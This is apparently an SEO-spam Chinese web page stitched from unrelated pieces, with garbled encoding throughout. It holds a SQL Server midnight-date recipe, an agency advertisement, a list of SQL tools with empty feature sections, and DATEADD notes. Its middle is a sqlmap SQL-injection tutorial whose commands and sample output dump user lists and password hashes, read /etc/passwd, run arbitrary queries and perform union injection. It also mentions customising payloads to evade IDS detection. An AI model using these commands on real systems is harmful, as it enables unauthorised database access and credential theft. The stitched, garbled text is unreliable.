sql中步驟獲取當(dāng)天時(shí)間的零點(diǎn)如下:
十年的龍泉網(wǎng)站建設(shè)經(jīng)驗(yàn),針對設(shè)計(jì)、前端、開發(fā)、售后、文案、推廣等六對一服務(wù),響應(yīng)快,48小時(shí)及時(shí)工作處理。營銷型網(wǎng)站的優(yōu)勢是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動(dòng)調(diào)整龍泉建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計(jì),從而大程度地提升瀏覽體驗(yàn)。創(chuàng)新互聯(lián)公司從事“龍泉網(wǎng)站設(shè)計(jì)”,“龍泉網(wǎng)站推廣”以來,每個(gè)客戶項(xiàng)目都認(rèn)真落實(shí)執(zhí)行。
1、打開sqlserver數(shù)據(jù)庫管理工具,點(diǎn)擊“新建查詢”,打開一個(gè)書寫SQL語句的新窗口,輸入sql語句,查詢當(dāng)前的數(shù)據(jù)庫日期。
2、獲取sqlserver中的最小日期,注意,這個(gè)日期的時(shí)間就是0點(diǎn)。
3、獲取當(dāng)前日期距離最小日期,經(jīng)過了多少天。
4、?從sqlserver最小日期加上這個(gè)天數(shù),就得到了當(dāng)天的0點(diǎn)。
昨天晚上實(shí)在忍不住,還是看了一些,然后測試了一下。里面的sql語句太過于簡單,不過你可以定制。修改為更富在的語句。以繞過注入檢測和其他IDS設(shè) 備。 稍晚一下,我編譯一個(gè)dos版本的給你們。
1、首先安裝python2.5。 2、然后進(jìn)入sqlmap的目錄,執(zhí)行sqlmap
詳細(xì)用法
1、sqlmap -u 注入點(diǎn) 2、sqlmap -g "關(guān)鍵詞“ //這是通過google搜索注入,現(xiàn)在還不可以,不知道是什么原因,可以直接修改為百度 3、 python sqlmap.py -u ";cat=2" -v 1
[hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL = 5.0.0
4、指定參數(shù)注入
python sqlmap.py -u ";cat=2" -v 1 -p "id"
[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...]
Or if you want to provide more than one parameter, for instance:
$ python sqlmap.py -u ";cat=2" -v 1 -p "cat,id"
5、指定方法和post的數(shù)據(jù) python sqlmap.py -u "" --method "POST" -- data "id=1cat=2"
6、指定cookie,可以注入一些需要登錄的地址 python sqlmap.py -u ";cat=2" --cookie "COOKIE_VALUE"
7、通過代理注入 python sqlmap.py -u ";cat=2" --proxy "" 8、指定關(guān)鍵詞,也可以不指定。程序會(huì)根據(jù)返回結(jié)果的hash自動(dòng)判斷 python sqlmap.py -u ";cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定數(shù)據(jù),這樣就不用猜測其他的數(shù)據(jù)庫里??梢蕴岣咝?。 --remote-dbms 10、指紋判別數(shù)據(jù)庫類型 python sqlmap.py -u ";cat=2" -v 1 -f 11、獲取banner信息 python sqlmap.py -u ";cat=2" -b
banner: '5.0.38-Ubuntu_0ubuntu1.1-log'
12、獲取當(dāng)前數(shù)據(jù)庫,當(dāng)前用戶,所有用戶,密碼,所有可用數(shù)據(jù)庫。 python sqlmap.py -u ";cat=2" -- current-db
current database: 'testdb'
python sqlmap.py -u ";cat=2" --users
database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost'
python sqlmap.py -u ";cat=2" -- passwords
database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
python sqlmap.py -u ";cat=2" --dbs
available databases [3]: [*] information_schema [*] mysql [*] testdb
python sqlmap.py -u ";cat=2" --tables -D "information_schema"
Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+
python sqlmap.py -u ";cat=2" -- columns -T "user" -D "mysql"
Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+
13、顯示指定的文件內(nèi)容,一般用于php python sqlmap.py -u ";cat=2" --file / etc/passwd
/etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash ---
14、執(zhí)行你自己的sql語句。
python sqlmap.py -u ";cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1"
[hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY'
15、union注入 python sqlmap.py -u ";cat=2" --union- check
valid union: ' UNION ALL SELECT NULL, NULL, NULL--cat=2'
python sqlmap.py -u ";cat=2" -v 1 -- union-use --banner
[...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log'
16、保存注入過程到一個(gè)文件,還可以從文件恢復(fù)出注入過程,很方便,一大特色。你可以在注入的時(shí)候中斷,有時(shí)間再繼續(xù)。 python sqlmap.py -u ";cat=2" -v 1 -b - o "sqlmap.log"
[...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log'
python sqlmap.py -u ";cat=2" -v 1 -- banner -o "sqlmap.log" --resume
[...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:
出于安全考慮,數(shù)據(jù)庫服務(wù)器只允許堡壘機(jī)通過ssh訪問,這對日常的使用帶來了麻煩。
昨天的工作中,就遇到了這樣的問題,MySQL數(shù)據(jù)庫放在了服務(wù)器A上,只允許服務(wù)器B來訪問,而我在機(jī)器C上,可以通過ssh連接服務(wù)器B。為了解決在機(jī)器C上連接MySQL這個(gè)問題。
因?yàn)槭袌錾嫌性S多的SQL管理工具,所以要為SQL項(xiàng)目管理選擇工具是一件有挑戰(zhàn)性的事。為大家推薦23款SQL工具的精選列表,希望朋友們喜歡。其中幾款已經(jīng)在昨天的SQL查詢優(yōu)化工具一文中,做過推薦。
Aqua Data Studio是一個(gè)功能豐富的通用SQL集成開發(fā)環(huán)境(IDE),它使數(shù)據(jù)庫開發(fā)人員,DBA和數(shù)據(jù)/業(yè)務(wù)分析人員能夠從單個(gè)界面開發(fā),管理和分析30多個(gè)平臺(tái)的數(shù)據(jù)。
特征:
dbForge Studio for SQL Server是一個(gè)功能強(qiáng)大的IDE,用于SQL Server管理,管理,開發(fā),數(shù)據(jù)報(bào)告,分析等等。執(zhí)行復(fù)雜數(shù)據(jù)庫任務(wù)的SQL開發(fā)人員和DBA可以使用GUI工具來加速幾乎所有數(shù)據(jù)庫體驗(yàn),例如設(shè)計(jì)數(shù)據(jù)庫,編寫SQL代碼,比較數(shù)據(jù)庫,同步模式和數(shù)據(jù),生成有意義的測試數(shù)據(jù)等等。
特征:
dbWatch是一個(gè)完整的數(shù)據(jù)庫監(jiān)控和管理解決方案,適用于SQL Server,Oracle,PostgreSQL,Sybase,MySQL和Azure。專為在大型內(nèi)部部署,混合或云數(shù)據(jù)庫環(huán)境中進(jìn)行主動(dòng)管理和日常維護(hù)自動(dòng)化而設(shè)計(jì)。
特征:
Jet Profiler for MySQL是MySQL數(shù)據(jù)庫服務(wù)器的實(shí)時(shí)查詢性能和診斷工具。該工具自2009年開發(fā),非常穩(wěn)定。
特征:
Adminer是一個(gè)用于管理數(shù)據(jù)庫,表,關(guān)系,索引和用戶的SQL管理工具。它支持所有流行的數(shù)據(jù)庫管理系統(tǒng),如MySQL,PostgreSQL,SQLite,MS SQL,Oracle和MongoDB。
特征:
它是一種用于分析微軟SQL Server數(shù)據(jù)庫結(jié)構(gòu)差異的SQL管理工具。它允許比較數(shù)據(jù)庫對象,如表,列,索引,外鍵,模式等。
特征:
EMS SQL Manager允許用戶創(chuàng)建和編輯SQL Server數(shù)據(jù)庫對象,并創(chuàng)建,修改,執(zhí)行和保存SQL查詢。
特征:
它是一個(gè)基于JAVA的數(shù)據(jù)庫管理工具。這種符合JDBC的SQL管理工具允許用戶查看數(shù)據(jù)庫結(jié)構(gòu)并發(fā)出SQL命令。它還支持Firebird,微軟Access,微軟SQL Server,MySQL,Oracle,Sybase等數(shù)據(jù)庫。
特征:
SQLite Database Browser是一個(gè)開源SQL工具,允許用戶創(chuàng)建,設(shè)計(jì)和編輯SQLite數(shù)據(jù)庫文件。它允許用戶顯示由它們和應(yīng)用本身發(fā)出的所有SQL命令的日志。
特征:
DBeaver是一個(gè)面向開發(fā)人員和數(shù)據(jù)庫管理員的開源數(shù)據(jù)庫工具。它支持JDBC兼容的數(shù)據(jù)庫,如MySQL,Oracle,IBM DB2,SQL Server,F(xiàn)irebird,SQLite和Sybase。
特征:
DbVisualizer Free是一個(gè)SQL管理工具。它允許用戶管理各種數(shù)據(jù)庫,包括Oracle,Sybase,SQL Server,MySQL,Informix,H3和SQLite。
特征:
HeidiSQL是另一種可靠的SQL管理工具。它使用流行的MySQL服務(wù)器,微軟SQL數(shù)據(jù)庫和PostgreSQL設(shè)計(jì)。它允許用戶瀏覽和編輯數(shù)據(jù),創(chuàng)建和編輯表,視圖,觸發(fā)器和預(yù)定事件。
特征:
FlySpeed SQL Query是所有數(shù)據(jù)庫用戶和開發(fā)人員的數(shù)據(jù)處理工具。它允許用戶在不熟悉SQL語法的情況下在不同的數(shù)據(jù)庫服務(wù)器上構(gòu)建查詢。
特征:
SQL Diagnostic Manager是Idera開發(fā)的性能監(jiān)控工具。它提供診斷解決方案,幫助用戶評估其SQL Server中的運(yùn)行狀況和性能。
特征:
ManageEngine開發(fā)的免費(fèi)SQL性能監(jiān)控工具。它允許用戶密切關(guān)注SQL Server性能!此工具還可以幫助用戶監(jiān)控SQL Server的性能和可用性。它可以與MS SQL 2012和2014等所有MS SQL版本一起使用。
特征:
ApexSQL Monitor是一個(gè)基于Web的SQL管理應(yīng)用程序。它為監(jiān)控多個(gè)SQL Server實(shí)例提供支持。
特征:
適用于微軟SQL Server的AppDynamics數(shù)據(jù)庫管理產(chǎn)品的一種全面SQL工具。它用于監(jiān)控SQL Server的2000,2005,2008,2012和2014版本。
特征:
Toad是另一個(gè)SQL Server DBMS工具。它通過廣泛的自動(dòng)化,直觀的工作流程和內(nèi)置的專業(yè)知識最大化了生產(chǎn)力。此SQL管理工具可解決問題,管理更改并提升最高級別的代碼質(zhì)量。
特征:
Zenoss提供ZenPacks來管理微軟SQL Server,MySQL,Oracle數(shù)據(jù)庫和PostgreSQL。每個(gè)ZenPack都具有每個(gè)平臺(tái)的特定功能,并提供可用的API來確定應(yīng)監(jiān)控的內(nèi)容。
特征:
Lepide的SQL Server Storage Manager是一個(gè)用于分析SQL Server性能的開源實(shí)用程序。它提供了對存儲(chǔ)空間和性能的完全可視性。
特征:
SQL Server Management Studio Express是一個(gè)用于訪問,管理和開發(fā)SQL所有組件的開源工具。此工具支持SQL Server的大多數(shù)管理任務(wù)。
特征:
SolarWinds Database Performance Analyzer是用于數(shù)據(jù)庫管理的性能監(jiān)視和分析工具。它還找出了瓶頸的原因并降低了數(shù)據(jù)庫操作的總體成本。
特征:
Sequel Pro是一款快速,易用的數(shù)據(jù)庫管理工具,適用于MySQL。此SQL管理工具有助于與數(shù)據(jù)庫進(jìn)行交互。使用此軟件添加新數(shù)據(jù)庫,添加新表,添加新行和任何其他類型的數(shù)據(jù)庫也很容易。
特征:
SQL語句使用DATEADD得到一個(gè)時(shí)間加上或減去指定天數(shù)之后的時(shí)間。也適用于小時(shí)、分鐘、秒鐘等等
DATEADD() 函數(shù)功能:在日期中添加或減去指定的時(shí)間間
語法:DATEADD(datepart,number,date)
date?參數(shù)是合法的日期表達(dá)式。number?是您希望添加的間隔數(shù);對于未來的時(shí)間,此數(shù)是正數(shù),對于過去的時(shí)間,此數(shù)是負(fù)數(shù)。
datepart?參數(shù)可以是下列的值:
下面已系統(tǒng)當(dāng)前時(shí)間(getdate())為例: